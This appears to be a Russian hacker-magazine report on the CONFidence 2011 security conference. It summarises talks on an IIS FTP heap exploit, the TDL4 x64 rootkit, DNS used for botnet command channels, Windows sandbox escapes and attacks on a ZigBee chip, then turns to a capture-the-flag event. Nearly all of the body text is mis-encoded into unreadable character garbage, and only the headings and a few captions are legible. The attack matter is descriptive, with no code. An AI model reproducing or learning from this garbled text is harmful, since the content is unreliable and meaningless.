Äîêëàä÷èêè: Êðèñ Âàëàñåê

¾ÓÏÓ ÅÏËÌÁÅ ÁÍÆÑÉËÁÎ×Á (ÏÎ ÉÈ °ÉÓÓÒÂÔÑÄÁ, É, ËÒÓÁÓÉ, ÃÜÑÁ-
ÈÉÌ ÑÁÅÏÒÓÝ ÈÁ ÐÏÂÆÅÔ «ÈÆÍÌàËÏÃ» ÎÁ PHD CTF Ã ÏÒËÃÆ, ËÏÄÅÁ 

¡ÌÆËÒÁÎÅÑ ÐÏÃÆÅÁÌ ÆÍÔ ÏÂ ÞÓÏÍ) ÏÇÉÅÁÌÉ ÍÎÏÄÉÆ. ¯ØÆÎÝ ÖÁÑÉÈ-
ÍÁÓÉØÎÁà É ÃÆÒÆÌÁà ÌÉØÎÏÒÓÝ :). ¥ÏËÌÁÅ ÂÜÌ ÐÏÒÃàÚÆÎ ÈÁÚÉÓÎÜÍ 
ÓÆÖÎÉËÁÍ ËÏÑÐÏÑÁ×ÉÉ Microsoft ÏÓ ÁÓÁË ÐÏ ÓÉÐÔ ÐÆÑÆÐÏÌÎÆÎÉà ÂÔÕÆÑÁ 
Ã ËÔØÆ. ®Ï ØÓÏ-ÓÏ à ÎÆ ÓÏ ÒËÁÈÁÌ, ËÏÎÆØÎÏ, ÅÏËÌÁÅ, ËÁË ÑÁÈ ÎÁÏÂÏÑÏÓ, 
ÐÏÒÃàÚÆÎ ÏÂÖÏÅÔ ÈÁÚÉÓÜ Ã ÐÏÒÌÆÅÎÉÖ ÃÆÑÒÉàÖ Windows. £ÒÆ ÐÏËÁ-
ÈÁÎÏ ÂÜÌÏ ÎÁ ÐÑÉÍÆÑÆ ÞËÒÐÌÏÉÓÁ ÅÌà IIS FTP, Ã ËÏÓÏÑÏÍ ÐÑÉÔÒÓÁÃÁÌÁ 
ÔàÈÃÉÍÏÒÓÝ, ÏÅÎÁËÏ ÒØÉÓÁÌÏÒÝ, ØÓÏ ÈÁÖÃÁÓÉÓÝ ËÏÎÓÑÏÌÝ (ÃÌÉàÓÝ ÎÁ 
ÑÆÄÉÒÓÑ EIP) ÎÆÃÏÈÍÏÇÎÏ. ¯ÅÎÁËÏ «ÑÉÒ ÉÒÐÏÌÝÈÏÃÁÌ ÎÏÃÔß «ÕÉØÔ»— 
LFH (Low Fragmentation Heap). ¦ÒÌÉ ÞÓÁ ÙÓÔËÁ «ÃËÌßØÆÎÁ», ÓÏ ÃÏÈ-
ÍÏÇÎÏ ÏÂÏÊÓÉ ÈÁÚÉÓÜ ÏÓ MS. ¯ÒÓÁÌÏÒÝ ÓÏÌÝËÏ ÃËÌßØÉÓÝ ÞÓÔ «ÙÓÔËÔ», 
ØÓÏ ÍÏÇÎÏ ÒÅÆÌÁÓÝ, ÒÏÈÅÁÃ ÂÏÌÝÙÏÊ ÐÔÌ ÐÏÅËÌßØÆÎÉÊ Ë FTP-ÒÆÑÃÉÒÔ, 
ÓÏÄÅÁ ¯² ÅÌà ÞÕÕÆËÓÉÃÎÏÒÓÉ ÃÑÔÂÁÆÓ LFH, ØÓÏ ÉÒÐÏÌÝÈÔÆÓÒà ÅÌà 
ÐÏÒÌÆÅÔßÚÆÊ ÁÓÁËÉ. Ü ÍÏÇÆÍ ÐÆÑÆÈÁÐÉÒÜÃÁÓÝ ÐÏÌÆ ÈÁÄÏÌÏÃËÁ 
FreeEntryOffset, É, Ã ËÏÎÆØÎÏÍ ÒØÆÓÆ, ÐÆÑÆÈÁÐÉÒÁÓÝ EIP. £ÒÆ ËÏÎÆØÎÏ 
ÎÁÍÎÏÄÏ ÒÌÏÇÎÆÆ, É à ÏÐÉÒÁÌ ÌÉÙÝ 5% ÉÅÆÉ, ÎÏ ÉÒÓÉÎÁ ÄÅÆ-ÓÏ ÑàÅÏÍ.

 Победа над x64: эволюция руткита TDL
Defeating x64: The Evolution of the TDL Rootkit
Äîêëàä÷èêè: Àëåêñàíäð Ìàòðîñîâ, Åâãåíèé Ðîäèîíîâ

¡ÌÆËÒÁÎÅÑ É ¦ÃÄÆÎÉÊ ÑÁÒÒËÁÈÁÌÉ ÐÑÏ ÏÒÏÂÆÎÎÏÒÓÉ ÑÁÂÏÓÜ TDL Ã x64 
ÒÉÒÓÆÍÆ (ÁÄÁ, ÃÆÅÝ ÎÁÅÏ ÏÂÏÊÓÉ ÐÑÏÃÆÑËÔ ÐÏÅÐÉÒÉ É PatchGuard), ÐÑÏ 
ÈÁÑÁÇÆÎÉÆ  MBR É ØÓÏ ÒÁÍÏÆ ÉÎÓÆÑÆÒÎÏÆ — ÐÑÏ ÓÏ, ËÁË ÏÂÖÏÅÉÓÒà 
ÐÑÏÃÆÑËÁ ¯² ÎÁ ÎÁÌÉØÉÆ ÐÏÅÐÉÒÉ Ô ÅÑÁÊÃÆÑÁ ÑÔÓËÉÓÁ! £ ËÁØÆÒÓÃÆ 
ÇÆÑÓÃÜ, ËÏÓÏÑÔß ÐÑÆÐÁÑÉÑÏÃÁÌÉ, ÉÒÐÏÌÝÈÏÃÁÌÒà ÎÁÙÔÍÆÃÙÉÊ ÑÔÓ-
ËÉÓ TDL4, ÒÓÁÃÙÉÊ ÐÆÑÃÜÍ ÙÉÑÏËÏ ÑÁÒÐÑÏÒÓÑÁÎÆÎÎÜÍ ÑÔÓËÉÓÏÍ, 
ËÏÓÏÑÏÍÔ ÔÅÁÌÏÒÝ ÐÏÂÏÑÏÓÝ ÐÑÏÃÆÑËÔ ×ÉÕÑÏÃÏÊ ÐÏÅÐÉÒÉ. ¾ÓÏ ÅÆÊ-
ÒÓÃÉÓÆÌÝÎÏ ÐÑÉËÏÌÝÎÏ É ÉÎÓÆÑÆÒÎÏ. ¯ÒÏÂÆÎÎÏ ÐÏÑÁÅÏÃÁÌÉ «ÇÉÃÜÆ» 
ÅÆÍÏ-ÏÓÌÁÅËÉ TDL Ã ÍÏÍÆÎÓÜ ÈÁÑÁÇÆÎÉà. 

 DNS для зла
DNS for evil
Äîêëàä÷èêè: Àëåêñåé Ñèíöîâ

À ÐÑÆÅÒÓÁÃÉÌ ÅÏËÌÁÅ «DNS for evil», Ã ËÏÓÏÑÏÍ ÐÏÃÆÅÁÌ Ï ÎÆÒÓÁÎ-
ÅÁÑÓÎÏÍ ÉÒÐÏÌÝÈÏÃÁÎÉÉ DNS-ÈÁÐÑÏÒÏÃ Ã ËÁØÆÒÓÃÆ ÐÑÏÓÏËÏÌÁ ÅÌà 
ÃÈÁÉÍÏÅÆÊÒÓÃÉà ÓÑÏàÎÒËÏÊ ÐÑÏÄÑÁÍÍÜ É C&C. °ÏÅÑÏÂÎÆÆ ÏÒÓÁ-
ÎÁÃÌÉÃÁÓÝÒà ÎÆ ÂÔÅÔ, ÐÏÓÏÍÔ ØÓÏ ÃÆÒÝ ÍÁÓÆÑÉÁÌ ÂÜÌ Ã ÎÆÅÁÃÎÉÖ 
ÒÓÁÓÝàÖ ][.

 Выбираемся из песочниц Microsoft Windows
Escaping From Microsoft Windows Sandboxes
Äîêëàä÷èêè: Òîì Êèò÷

Алексей Синцов из Digital Security со своей женой Светланой
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³ÏÍ — ÃÆÒÆÌÜÊ ÐÁÑÆÎÝ ÉÈ Verizone, ÒÅÆÌÁÌ ÏØÆÎÝ ÐÏÈÎÁÃÁÓÆÌÝÎÜÊ 
ÅÏËÌÁÅ ÎÁ ÓÆÍÔ ÐÆÒÏØÎÉ×. ¯Î ÑÁÒÒËÁÈÁÌ Ï ÓÉÐÁÖ ÒÔÚÆÒÓÃÔßÚÉÖ 
ÐÆÒÏØÎÉ× (ÙÓÔËÁ, ËÏÓÏÑÁà ÎÆ ÅÁÆÓ ÙÆÌÌËÏÅÔ Ã ÈÁÖÃÁØÆÎÎÏÍ ÐÑÏ-
×ÆÒÒÆ ÅÆÌÁÓÝ ÓÏ, ØÓÏ ÖÏØÆÓÒà — ÒÏÈÅÁÃÁÓÝ ÕÁÊÌÜ, ÏÓËÑÜÃÁÓÝ 
ÒÏÆÅÉÎÆÎÉà, ÃÜÐÏÌÎàÓÝ ËÏÍÁÎÅÜ É Ó.Å.), ËÁË ÏÎÉ ÑÁÂÏÓÁßÓ, ÄÅÆ 
ÏÎÉ ÐÑÉÍÆÎàßÓÒà, É ËÁË ÉÈ ÎÉÖ ÍÏÇÎÏ ÔÂÆÇÁÓÝ. ¤ÌÁÃÎÁà ÈÁÅÁØÁ Ã 
ÓÁËÏÍ ËÏÎÓÆËÒÓÆ — ÞÓÏ ÒÅÆÌÁÓÝ ÐÏÓÆÎ×ÉÁÌÝÎÜÊ ÞËÒÐÌÏÉÓ ÍÁËÒÉ-
ÍÁÌÝÎÏ ÅÏÑÏÄÉÍ. ³Ï ÆÒÓÝ, ÆÒÌÉ Ô ÎÁÒ ÏÂÜØÎÏÆ °¯, ÓÏ ÎÁÐÉÒÁÎÉÆ 
ÞËÒÐÌÏÉÓÁ, Ã ÒÌÔØÁÆ ÎÁÖÏÇÅÆÎÉà ÔàÈÃÉÍÏÒÓÉ, ÒÃÏÅÉÓÒà Ë ÑÆÁÌÉÈÁ-
×ÉÉ ÓÑÉÄÄÆÑÁ ÔàÈÃÉÍÏÒÓÉ, ÏÂÖÏÅÁ DEP É ASLR. ¦ÒÌÉ ÆÒÓÝ ÐÆÒÏØ-
ÎÉ×Á, ÓÏ ÞÓÏÄÏ ÎÆÅÏÒÓÁÓÏØÎÏ, ÎÔÇÎÏ ÌÉÂÏ ÞËÒÐÌÔÁÓÉÑÏÃÁÓÝ ÆÚÆ 
ÏÅÎÔ ÔàÈÃÉÍÏÒÓÝ Ã àÅÑÆ ¯² (×ÆÎÁ ÞËÒÐÌÏÉÓÁ ÑÁÒÓÆÓ ÃÅÃÏÆ, ÓÁË ËÁË 
ÎÔÇÎÁ ÆÚÆ ÏÅÎÁ ÂÁÄÁ É ÆÚÆ ÏÅÉÎ ÞËÒÐÌÏÉÓ) ÉÌÉ ÐÜÓÁÓÝÒà ÏÂÏÊÓÉ 
ÐÆÒÏØÎÉ×Ô. © ÓÔÓ ÃÒÆ ÔÇÆ ÈÁÃÉÒÉÓ ÏÓ ËÑÔÓÉÈÎÜ ÞÓÏÊ ÒÁÍÏÊ ÐÆÒÏØ-
ÎÉ×Ü. £ ËÏÎ×Æ ÏÎ ÐÑÉÃÆÌ ÒÃÏÅÎÔß ÓÁÂÌÉ×Ô ÐÑÏÅÔËÓÏÃ É ÉÖ ÓÉÐÜ 
ÐÆÒÏØÎÉ×. «ÑÔØÆ ÃÒÆÖ ÏËÁÈÁÌÁÒÝ ÐÆÒÏØÎÉ×Á Ã Google Chrome, ÓÁË 
ËÁË ÉÒÐÏÌÝÈÔÆÓ ÃÒÆ ÅÏÒÓÔÐÎÜÆ ÍÏÅÆÌÉ ÅÌà ÏÄÑÁÎÉØÆÎÉà ÅÏÒÓÔÐÁ Ã 
ÐÑÏ×ÆÒÒÆ, ÅÁÌÝÙÆ ÉÅÆÓ Acrobat Reader, ÈÁÓÆÍ Flash, É ÈÁÍÜËÁÆÓ 
Protection Mode Ã IE8 :). ²ÏÂÒÓÃÆÎÎÏ ÓÆÍÁ ÏØÆÎÝ ÉÎÓÆÑÆÒÎÁà É 
ÐÏÈÎÁÃÁÓÆÌÝÎÁà, ÓÁË ÍÏÇÆÓ ÂÜÓÝ ÒÓÏÉÓ ÇÅÁÓÝ ÏÂ ÞÓÏÍ ÒÓÁÓÝß Ã ][ 
? ²ÁÍ ³ÏÍ ÏØÆÎÝ ÏÂÚÉÓÆÌÝÎÜÊ É ÉÎÓÆÑÆÒÎÜÊ ØÆÌÏÃÆË, Ò ËÏÓÏÑÜÍ 
ÐÑÉàÓÎÏ ÂÜÌÏ ÅÆÑÇÁÓÝ ÑÁÈÄÏÃÏÑ!

 Практические атаки на микросхему MC13224
Practical attacks on the Freescale MC13224 ZigBee SoP
Äîêëàä÷èêè: Òðýâèñ Ãóóäñïèä

¬ßÂÉÓÆÌÉ ÑÔÂÑÉËÉ «µÑÉËÉÎÄ», ÞÓÏÓ ÅÏËÌÁÅ ÒÐÆ×ÉÁÌÝÎÏ ÅÌà ÃÁÒ! 
³ÑÞÃÉÒ ¤ÔÔÅÒÐÉÅ — ÉÈÃÆÒÓÎÜÊ ÖÁËÆÑ «ÇÆÌÆÈÏË», ÆÄÏ ÅÏËÌÁÅ ÒÏÂÑÁÌ 
ÐÏÌÎÜÊ ÈÁÌ É ÕÁËÓÉØÆÒËÉ ÈÁÃÆÑÙÁÌ ËÏÎÕÆÑÆÎ×Éß! ¢ÜÌÏ ÉÎÓÆÑÆÒ-
ÎÏ ÐÏÒÌÔÙÁÓÝ ÏÂ ÁÐÐÁÑÁÓÎÜÖ ÍÆÓÏÅÁÖ ÃÈÌÏÍÁ ÍÉËÑÏËÏÎÓÑÏÌÌÆÑÏÃ. 
²ÔÚÆÒÓÃÔÆÓ ÓÁËÁà ÍÉËÑÏÒÖÆÍÁ — MC13224, ËÏÓÏÑÁà ÉÒÐÏÌÝÈÔÆÓÒà 
ÅÌà ÏÑÄÁÎÉÈÁ×ÉÉ ÂÆÒÐÑÏÃÏÅÎÏÊ ÒÃàÈÉ Ã ÐÑÏÍÜÙÌÆÎÎÜÖ ÒÉÒÓÆÍÁÖ, 
ÔÒÓÑÏÊÒÓÃÁÖ É Ó.Å. (ÎÁÐÑÉÍÆÑ, ÞÓÏÓ ØÉÐ ÉÒÐÏÌÝÈÏÃÁÌÒà Ã ÎÉÎÅÈà-
ÂÆÊÅÇÁÖ ÅÌà Defcon 18). ÉËÑÏÒÖÆÍÁ MC13224 ÃËÌßØÁÆÓ Ã ÒÆÂà 
32-ÑÁÈÑàÅÎÜÊ ÍÉËÑÏËÏÎÓÑÏÌÌÆÑ Ò ÁÑÖÉÓÆËÓÔÑÏÊ ARM7, ÕÌÆÙ-
ÐÁÍàÓÝ, ÓÑÁÎÒÉÃÆÑ 802.15.4 É ÍÎÏÄÏÆ ÅÑÔÄÏÆ. ³ÁË ÃÏÓ, ³ÑÞÃÉÒ ÒËÁÈÁÌ 
— ÃÏÓ ÈÁÖÏÓÉÍ ÍÜ ÁÓÁËÏÃÁÓÝ ÓÁËÏÆ ÔÒÓÑÏÊÒÓÃÏ Ò ÞÓÏÊ ÍÉËÑÏÒÖÆÍÏÊ 

ÐÏ ÑÁÅÉÏËÁÎÁÌÔ: ÎÁÊÓÉ ÂÁÄÔ, ÎÁÐÉÒÁÓÝ ÞËÒÐÌÏÉÓ — ÓÏ ØÓÏ ÎÁÍ ÅÌà 
ÞÓÏÄÏ ÎÁÅÏ Ã ÐÆÑÃÔß ÏØÆÑÆÅÝ? ¡ ÎÁÅÏ ÎÁÍ ÐÏÌÔØÉÓÝ ËÏÅ ÐÑÏÙÉÃËÉ! 
®Ï ÃÏÓ ËÁË ÞÓÏ ÒÅÆÌÁÓÝ, ÆÒÌÉ JTAG-ÉÎÓÆÑÕÆÊÒ ÈÁÂÌÏËÉÑÏÃÁÎ? ¯Â 
ÞÓÏÍ É ÂÜÌ ÅÏËÌÁÅ. ¥Ìà ÎÁØÁÌÁ ÎÁÍ ÐÏÎÁÅÏÂÉÓÒà ÁÈÏÓÎÁà ËÉÒÌÏÓÁ, 
ÎÔ ÉÌÉ ÒÆÑÎÁà... ¥Á! ©ÍÆÎÎÏ ÓÁË ÎÁØÉÎÁÆÓÒà ÞÓÏÓ «ÖÁË»...  
£ ÒÌÁÊÅÁÖ ÓÜ ÍÎÏÄÏ ÉÎÕÜ ÎÆ ÎÁÊÅÆÙÝ. £ ÏÒÎÏÃÎÏÍ ÒÖÆÍÜ É ËÁÑÓÉÎ-
ËÉ, ÐÏÞÓÏÍÔ ÃÏÓ ÓÆÂÆ ÓÆËÒÓ — bit.ly/kE5jHV. «ÒÓÁÓÉ, ÏÅÎÉÍ ÉÈ ÞÓÁÐÏÃ 
ÃÈÌÏÍÁ ÂÜÌ ÁÎÁÌÉÈ Ò ÉÒÐÏÌÝÈÏÃÁÎÉÆÍ ÅÏÒÓÁÓÏØÎÏ ÅÏÑÏÄÏ ÏÂÏÑÔ-
ÅÏÃÁÎÉà, ËÏÓÏÑÏÄÏ Ô ÁÃÓÏÑÁ ÅÏËÌÁÅÁ ÎÆ ÂÜÌÏ. ¨ÁÓÏ ÏÎÏ ÏËÁÈÁÌÏÒÝ Ô 
ÆÄÏ ÅÑÔÈÆÊ Ã ÂÌÉÈÌÆÇÁÚÆÊ ÌÁÂÏÑÁÓÏÑÉÉ ËÏÌÌÆÅÇÁ. £ ÏÂÚÆÍ, àÚÉË 
ÐÉÃÁ ÑÆÙÉÌ ÐÑÏÂÌÆÍÔ ÅÏÒÓÔÐÁ Ë ÞÓÏÍÔ ÏÂÏÑÔÅÏÃÁÎÉß :). ¯Ó ÒÆÂà 
ÏÓÍÆØÔ: ÉÎÓÆÑÆÒÎÏ ÂÜÌÏ ÂÜ ÁÎÁÌÏÄÉØÎÜÍ ÍÆÓÏÅÏÍ ÐÏÌÏÍÁÓÝ Æ³ÏËÆ-
ÎÜ ÉÌÉ ±Ô³ÏËÆÎÜ... 

Outro
«ÏÎÆØÎÏ, ÐÑÏ ÍÎÏÄÉÆ ÅÏËÌÁÅÜ à ÎÆ ÑÁÒÒËÁÈÁÌ, ÖÏÓà ÂÜÌÉ É ÆÚÆ 
ÏØÆÎÝ ÉÎÓÆÑÆÒÎÜÆ ÓÆÍÜ, ÎÁÐÑÉÍÆÑ, ÐÑÏ ÕÑÆÊÍÃÏÑË BeeF. £ ÌßÂÏÍ 
ÒÌÔØÁÆ ÃÒÆ (ÐÏØÓÉ ÃÒÆ) ÍÁÓÆÑÉÁÌÜ ÅÏÒÓÔÐÎÜ ÎÁ 2011.confidence.
org.pl/materials (É ÎÁ ÎÁÙÆÍ ÅÉÒËÆ — ÐÑÉÍ. ÑÆÅÁËÓÏÑÁ). §ÁÌÝ, 
ØÓÏ ÎÁÙÉÖ ÒÏÏÓÆØÆÒÓÃÆÎÎÉËÏÃ ÐÑÁËÓÉØÆÒËÉ ÎÆÓ ÎÁ ÓÁËÉÖ ËÏÎÕÆ-
ÑÆÎ×ÉàÖ, ÃÆÅÝ ÐÏÎàÓÉÆ «ÐÏÃÜÙÆÎÉÆ ËÃÁÌÉÕÉËÁ×ÉÉ» ÃËÌßØÁÆÓ 
Ã ÒÆÂà ÐÏÆÈÅËÉ ÎÁ ÓÁËÉÆ ÍÆÑÏÐÑÉàÓÉà. Ü ÃÒàØÆÒËÉ ÐÑÉÈÜÃÁÆÍ 
ÃÒÆÖ ÔØÁÒÓÃÏÃÁÓÝ ÎÆ ÓÏÌÝËÏ Ã CONFidence, ÎÏ É Ã ÅÑÔÄÉÖ ÍÆÇÅÔÎÁ-
ÑÏÅÎÜÖ ËÏÎÕÆÑÆÎ×ÉàÖ. ¡ ÓÏ Ô ÂÏÌÝÙÉÎÒÓÃÁ ÌßÅÆÊ ÒËÌÁÅÜÃÁÆÓÒà 
ÃÐÆØÁÓÌÆÎÉÆ, ØÓÏ Ã ÎÁÙÆÊ ÒÓÑÁÎÆ ÇÉÃÔÓ ÏÅÎÉ ËÉÂÆÑÐÑÆÒÓÔÐÎÉËÉ Ã 
ÍÆÅÃÆÇÝÉÖ ÙËÔÑÁÖ. °ÑÆÅÌÁÄÁÆÍ ÃÒÆÍ ÐÏÍÏØÝ ÉÈÍÆÎÉÓÝ ÞÓÏÓ ÒÌÏ-
ÇÉÃÙÉÊÒà ÒÓÆÑÆÏÓÉÐ. ±ÁÅÔÆÓ ÖÏÓà ÂÜ ÓÏ, ØÓÏ ÎÁÙÉ ÑÆÂàÓÁ ÔÇÆ ÉÅÔÓ 
ÐÏ ÃÆÑÎÏÍÔ ÐÔÓÉ. ³ÁË, ÎÁÐÑÉÍÆÑ, ÐÑÏÙÆÅÙÉÊ ÓÏÇÆ Ã ÍÁÆ ÕÏÑÔÍ PHD 
àÃÌàÆÓÒà, ÕÁËÓÉØÆÒËÉ, ÐÆÑÃÜÍ ÐÏÅÏÂÎÜÍ ÍÆÑÏÐÑÉàÓÉÆÍ Ã ±ÏÒÒÉÉ 
ÓÁËÏÄÏ ÕÏÑÍÁÓÁ: Ò ÖÁËÆÑÒËÏÊ ÁÓÍÏÒÕÆÑÏÊ, ÑÆÁÌÝÎÜÍÉ ÓÆÖÎÉØÆÒËÉÍÉ 
ÅÏËÌÁÅÁÍÉ É ÒÏÑÆÃÎÏÃÁÎÉàÍÉ (ÅÏ ÞÓÏÄÏ ÓÏÌÝËÏ Chaos Constructions 
ÑÁÅÏÃÁÌ ÔÍÜ). ³Ï ÌÉ ÆÚÆ ÂÔÅÆÓ. £ ÞÓÏÍ ÇÆ ÍÆÒà×Æ Ã ±ÏÒÒÉÉ ÏÓËÑÜ-
ÌÁÒÝ ÐÆÑÃÁà ÏÕÉ×ÉÁÌÝÎÁà ÄÑÔÐÐÁ Defcon (Ã ²ÁÎËÓ-°ÆÓÆÑÂÔÑÄÆ), ÄÅÆ 
ËÁÇÅÜÊ ÍÏÇÆÓ ÑÁÒÒËÁÈÁÓÝ ÐÑÏ ÒÃÏÊ ÏÐÜÓ É ÐÏÒÌÔÙÁÓÝ ÅÑÔÄÉÖ, Á 
ÓÁËÇÆ ÐÏÍÏØÝ Ã ÒÏÈÅÁÎÉÉ ÏÓËÑÜÓÏÊ ÍÆÇÅÔÎÁÑÏÅÎÏÊ ËÏÎÕÜ ÐÏ ©¢ ÎÁ 
ÓÆÑÑÉÓÏÑÉÉ ÎÁÙÆÊ ÑÏÅÉÎÜ. ³ÁË ØÓÏ ÃÒÆ ÂÔÅÆÓ ÏÓÌÉØÎÏ! z

 Ïî÷åìó CONFidence?
ÆÑÏÐÑÉàÓÉÆ ÒÉÌÝÎÏ ÏÓÌÉØÁÆÓÒà ÏÓ ÍÎÏÄÉÖ ÅÑÔÄÉÖ ÓÆÍ, ØÓÏ ÏÎÏ 
ÒÉÌÝÎÏ ÔÙÌÏ ÃÐÆÑÆÅ ÐÏ ØÉÒÌÔ ÅÏËÌÁÅÏÃ ÏÓ ÑÔÒÒËÏàÈÜØÎÜÖ ÉÒ-
ÒÌÆÅÏÃÁÓÆÌÆÊ ÒÑÆÅÉ ÏÒÓÁÌÝÎÜÖ ÍÆÇÅÔÎÁÑÏÅÎÜÖ ËÏÎÕÆÑÆÎ×ÉÊ. © 
ÐÑÉØÉÎÁ ÈÅÆÒÝ ËÑÏÆÓÒà ÎÆ ÓÏÌÝËÏ Ã ÓÆÑÑÉÓÏÑÉÁÌÝÎÏÍ ÑÁÒÐÏÌÏÇÆ-
ÎÉÉ (£ÏÒÓÏØÎÁà ¦ÃÑÏÐÁ), ÎÏ É Ã ÁÓÍÏÒÕÆÑÆ ÒÁÍÏÊ ËÏÎÕÆÑÆÎ×ÉÉ 
É ÏÓÎÏÙÆÎÉÉ ÏÑÄÁÎÉÈÁÓÏÑÏÃ. °ÏÒÌÆÅÎÉÆ ÖÏÑÏÙÏ ÐÏÎÉÍÁßÓ, ØÓÏ 
ÉÒÒÌÆÅÏÃÁÓÆÌÉ Ò ÎÆËÏÍÍÆÑØÆÒËÉÍÉ ÅÏËÌÁÅÁÍÉ (Á ÅÑÔÄÉÖ ÎÁ ËÏÎ-
ÕÆÑÆÎ×ÉÉ ÈÁÍÆØÆÎÏ É ÎÆ ÂÜÌÏ) ÈÁØÁÒÓÔß ÎÆ ÍÏÄÔÓ ÐÏÈÃÏÌÉÓÝ ÒÆÂÆ 
ÏÐÌÁÓÉÓÝ ÐÆÑÆÌÆÓ É ÐÑÏÇÉÃÁÎÉÆ. ¶ÏÑÏÙÏ, ËÏÄÅÁ ÑÏÅÎÁà ËÏÍÐÁÎÉà 
ÍÏÇÆÓ ÃÈàÓÝ ÉÈÅÆÑÇËÉ ÎÁ ÒÆÂà, ÎÏ Ã ÎÁÙÆÊ ÒÓÑÁÎÆ ÓÁËÏÆ ÒÌÔØÁÆÓÒà 

ÐÏ-ÐÑÆÇÎÆÍÔ ÎÆ ÓÁË ØÁÒÓÏ. °ÏÞÓÏÍÔ ÏÓÅÆÌÝÎÏ ÖÏØÆÓÒà ÑÁÒÒËÁÈÁÓÝ 
Ï ÐÏÅÖÏÅÆ ÏÑÄÁÎÉÈÁÓÏÑÏÃ Ë ÞÓÉÍ ÃÏÐÑÏÒÁÍ. ³ÁË, ÆÒÌÉ ÓÃÏÊ ÅÏËÌÁÅ 
ÐÑÉÎàÓ, ÓÏ ÓÆÂÆ ÏÐÌÁØÉÃÁßÓ ÂÉÌÆÓ ÎÁ ÒÁÍÏÌÆÓ, ÐÑÏÇÉÃÁÎÉÆ Ã ÏÓÆÌÆ 
É ÅÁÇÆ ÓÁËÒÉ ÉÈ ÁÞÑÏÐÏÑÓÁ É ÏÂÑÁÓÎÏ. ¦ÇÆÅÎÆÃÎÏ ÏÑÄÁÎÉÈÏÃÜÃÁßÓ 
ÒÐÆ×ÉÁÌÝÎÜÆ ÔÇÉÎÜ ÅÌà ÅÏËÌÁÅØÉËÏÃ, ËÏÓÏÑÜÆ ÐÑÏÖÏÅàÓ Ã ÑÁÈÎÜÖ 
ÉÎÓÆÑÆÒÎÜÖ ÑÆÒÓÏÑÁÎÁÖ ÄÏÑÏÅÁ. «ÏÑÏØÆ ÄÏÃÏÑà, ÅÏËÌÁÅØÉËÏÃ ÈÅÆÒÝ 
ÌßÂàÓ. ©ÍÆÊ Ã ÃÉÅÔ, ØÓÏ Ã ÂÌÉÇÁÊÙÆÆ ÃÑÆÍà ÅÏÌÇÆÎ ÂÜÓÝ ÈÁÐÔÚÆÎ 
ÐÑÉÆÍ ÓÆÈÉÒÏÃ ÎÁ ÏÒÆÎÎÆÆ ÍÆÑÏÐÑÉàÓÉÆ CONFidence. ¦ÒÌÉ Ã ÍÁÆ 
ÞÓÁ ËÏÎÕÆÑÆÎ×Éà ÓÑÁÅÉ×ÉÏÎÎÏ ÐÑÏÖÏÅÉÓ Ã «ÑÁËÏÃÆ, ÓÏ Ã ÒÆÎÓàÂÑÆ 
ÕÉÄÔÑÉÑÔÆÓ, ËÁË ÐÑÁÃÉÌÏ, ËÁËÏÊ-ÎÉÂÔÅÝ ÆÚÆ ÉÈ ÐÑÉÍÆØÁÓÆÌÝÎÜÖ 
ÄÏÑÏÅÏÃ £ÏÒÓÏØÎÜÊ ¦ÃÑÏÐÜ.
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На вторые сутки участник соревнований по Lockpicking’у все-таки снял наручники. Об этом объявили по громкой связи
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ВЗЛОМ

Антураж
²ÃÆÓàÚÉÊÒà ÐÏÌ ÈÁÌÁ, Ã ËÏÓÏÑÏÍ ÐÑÏÖÏÅÉÌÉ ÒÏÒÓàÈÁÎÉà, ÈÌÏÃÆÚÆ 
ÏÈÁÑàÌ ÉÖ ÎÁÐÑàÇÆÎÎÜÆ ÌÉ×Á. °ÑÏÃÏÅÁ ÏÐÔÓÜÃÁÌÉ ÒÓÏÌÜ, ÒÏÈ-
ÅÁÃÁà ÏÚÔÚÆÎÉÆ ÎÆÐÑÆÏÅÏÌÉÍÏÊ ÌÏÃÔÙËÉ. ³ÁÂÌÏ ÒÏÓÑàÒÁÌÏÒÝ. 
¯ÑÄÁÎÉÈÁÓÏÑÜ ÒÅÆÌÁÌÉ ÃÒÆ, ØÓÏÂÜ ÔØÁÒÓÎÉËÉ ØÔÃÒÓÃÏÃÁÌÉ ÒÆÂà ËÁË 
ÎÁ ËÉÂÆÑÎÆÓÉØÆÒËÏÊ ÃÏÊÎÆ.
°ÏÅÏÂÎÜÆ ÉÎÓÆÌÌÆËÓÔÁÌÝÎÜÆ ÒÏÑÆÃÎÏÃÁÎÉà, Ã ËÏÓÏÑÜÖ Ï×ÆÎÉÃÁÆÓ-
Òà ÔÍÆÎÉÆ ÁÓÁËÏÃÁÓÝ É ÈÁÚÉÚÁÓÝ ËÏÍÐÝßÓÆÑÎÜÆ ÒÉÒÓÆÍÜ, ÃÆÒÝÍÁ 
ÐÏÐÔÌàÑÎÜ ÃÏ ÃÒÆÍ ÍÉÑÆ. £ ÐÏÒÌÆÅÎÉÆ ÎÆÒËÏÌÝËÏ ÌÆÓ ÏÎÉ ÒÓÁÌÉ 
ÐÑÏÃÏÅÉÓÝÒà É Ã ±ÏÒÒÉÉ. Positive Hack Days ²TF ÏÅÉÎ ÉÈ ÒÁÍÜÖ 
ÍÁÒÙÓÁÂÎÜÖ Ô ÎÁÒ Ã ÒÓÑÁÎÆ, ËÑÏÍÆ ÓÏÄÏ, ÒÏÅÆÑÇÉÓ Ã ÒÆÂÆ ÑàÅ ÒÏÃÆÑ-
ÙÆÎÎÏ ÔÎÉËÁÌÝÎÜÖ ÞÌÆÍÆÎÓÏÃ.
¯ÑÄÁÎÉÈÁÓÏÑÜ ÐÑÆÅÌÏÇÉÌÉ ÎÆÏÂÜØÎÜÊ ÕÏÑÍÁÓ ÒÏÑÆÃÎÏÃÁÎÉÊ, 
ÏÂÛÆÅÉÎÉÃ ËÌÁÒÒÉØÆÒËÉÊ CTF É HackQuest. ´ÒÌÏÃÉà ÉÄÑÜ ÒÏØÆ-
ÓÁßÓ Ã ÒÆÂÆ whitebox (ÔØÁÒÓÎÉËÉ ÉÍÆßÓ ÐÏÌÎÜÊ ÅÏÒÓÔÐ Ë ÒÉÒÓÆÍÆ) 
É blackbox-ÒÆÑÃÉÒÜ (ÎÆÓ ÉÈÎÁØÁÌÝÎÏÊ ÉÎÕÏÑÍÁ×ÉÉ Ï ÒÉÒÓÆÍÆ). 
²ÏÒÓàÈÁÎÉà ÂÜÌÉ ÏØÆÎÝ ÎÁÐÑàÇÆÎÎÜÍÉ É ÅÉÎÁÍÉØÎÜÍÉ. ¨ÁÅÁÎÉÊ 
